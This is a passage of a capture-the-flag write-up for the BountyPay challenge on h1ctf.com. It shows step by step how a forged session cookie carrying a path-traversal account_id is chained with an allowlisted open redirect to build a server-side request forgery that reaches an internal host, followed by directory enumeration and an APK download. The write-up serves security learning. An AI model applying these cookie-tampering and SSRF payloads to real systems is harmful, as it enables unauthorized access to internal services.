III - Server Side Request Forgery

Once we are logged in there is not much we can do except for loading transactions for our account.

BountyPay | Dashboard

Loading the transactions:

http get https://app.bountypay.h1ctf.com/statements\?month\=02\&year\=2020 \
Cookie:'token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 16:54:38 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

{
    "data": "{\"description\":\"Transactions for 2020-02\",\"transactions\":[]}",
    "url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=02&year=2020"
}

The response contains two interesting piece of information. The transaction data, our account does not appear to have access to any transactions, and a url which seems to indicate that the server is actually making a request to api.bountypay.h1ctf.com.

If we look into the JavaScript files we can also see that there is an endpoint that is used to pay transactions:

/js/app.js
$(".loadTxns").click(function() {
  let t = $('select[name="month"]').val(),
    e = $('select[name="year"]').val();
  $(".txn-panel").html(""), $.get("/statements?month=" + t + "&year=" + e, function(t) {
    if (t.hasOwnProperty("data")) {
      let e = JSON.parse(t.data);
      if (e.hasOwnProperty("transactions"))
        if (0 == e.transactions.length) $(".txn-panel").html('<div class="text-center" style="margin:10px">No Transactions To Process</div>');
        else {
          let t = "";
          t += '<table style="margin:0" class="table"><tr><th>Hacker(s)</th><th class="text-center">Program(s)</th><th class="text-center">Reports(s)</th><th class="text-center">Pay Out</th><th class="text-center">Action</th></tr>', $.each(e.transactions, function(e, s) {
            t += "<tr><td>" + s.hackers + '</td><td class="text-center">' + s.programs + '</td><td class="text-center">' + s.reports + '</td><td class="text-center">' + s.amount + '</td><td class="text-center"><a href="/pay/' + s.id + "/" + s.hash + '" class="btn btn-sm btn-success">Pay</a></td></tr>'
          }), t += "</table>", $(".txn-panel").html(t)
        }
      else alert("Invalid Response From The Server")
    } else alert("Invalid Response From The Server")
  })
});

If we try to guess the id and hash for the GET /pay/{id}/{hash} endpoint we get an error from the server: Invalid payment details. Let's leave this endpoint for now and focus on the retrieval of transactions.

Looking back at the response for the transaction retrieval request we can assume that the application is making an HTTP request to the url parameter. After some testing it appears that month and year parameter are not vulnerable.

Something we did not check yet is the content of our session cookie:

eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

The beggining of the string eyJ is characteristic of base64 JSON encoded data. Let's see what's inside:

{
  "account_id": "F8gHiqSdpK",
  "hash": "de235bffd23df6995ad4e0930baac1a2"
}

We can see that our session cookie contains the account_id which is present in the URL used to retrieve the transactions. If our assumptions is correct this means that we can manipulate the URL used to retrieve the transactions. Without another account_id we can't test for IDOR but we might be able to manipulate the request.

If we set the value of the token cookie to ../accounts/F8gHiqSdpK ,we can see that the reponse is identical which means that we currently have an SSRF that is limited to the app.bountypay.h1ctf.com subdomain.

One way to augment the impact of an SSRF is to use an open redirect to be able to target non whitelisted domains or in our case a domain that is not app.bountypay.h1ctf.com. If we look back at the notes taken during the passive reconnaissance phase, there is one feature that might be useful.

On api.bountypay.h1ctf.com there is a link to Google Search that is not a simple link. Let's look at the request:

http get "https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API"
HTTP/1.1 302 Found
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 04 Jun 2020 16:57:33 GMT
Location: https://www.google.com/search?q=REST API
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

The problem is that there is an allowlist which appear to only accept a URL that starts with https://www.google.com/search?q=. Otherwise we get an error, either URL NOT FOUND IN WHITELIST or URL must begin with either http:// or https://.

My initial idea was that if we can bypass the allowlist we could send the request to a server under our control which would allow us to intercept some potentially interesting headers or cookies. After multiple failed attemps it appeared that it was not possible to bypass the allowlist.

If we cannot bypass the controls in place, maybe we can find other urls present in the allowlist. It turns out that both https://staff.bountypay.h1ctf.com/ and https://software.bountypay.h1ctf.com/ are accepted ! Which means that we can bypass the IP restriction on software.bountypay.h1ctf.com.

Let's set ../../redirect?url=https://software.bountypay.h1ctf.com/# as our account id and see what happens:

{
  "account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/",
  "hash": "de235bffd23df6995ad4e0930baac1a2"
}
http get https://app.bountypay.h1ctf.com/statements\?month\=02\&year\=2020 \
Cookie:'token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 17:10:40 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

{
    "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage</h1>\n            <form method=\"post\" action=\"/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login</div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:</label></div>\n                        <div><input name=\"username\" class=\"form-control\"></div>\n                        <div style=\"margin-top:7px\"><label>Password:</label></div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n                    </div>\n                </div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            </form>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>",
    "url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=02&year=2020"
}

The data now contains the HTML content of the software.bountypay.h1ctf index page which is a login form:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Software Storage</title>
    <link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>

	<div class="container">
    <div class="row">
        <div class="col-sm-6 col-sm-offset-3">
            <h1 style="text-align: center">Software Storage</h1>
            <form method="post" action="/">
                <div class="panel panel-default" style="margin-top:50px">
                    <div class="panel-heading">Login</div>
                    <div class="panel-body">
                        <div style="margin-top:7px"><label>Username:</label></div>
                        <div><input name="username" class="form-control"></div>
                        <div style="margin-top:7px"><label>Password:</label></div>
                        <div><input name="password" type="password" class="form-control"></div>
                    </div>
                </div>
                <input type="submit" class="btn btn-success pull-right" value="Login">
            </form>
        </div>
    </div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>

Since our SSRF is pretty limited (we can only do GET requests), the next logical step is to do more enumerations. For this we can use Burp Intruder with Hackvertor to dynamically base64 encode the payload.

Burp Intruder configuration

The "Directories - short" gives us some interesting results:

Intruder results

It appears that there is an apk in the sources directory. The apk can be retrieved as there are no access control !

http get https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 17:12:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked



+-----------------------------------------+
| NOTE: binary data not shown in terminal |
+-----------------------------------------+

Last updated

Was this helpful?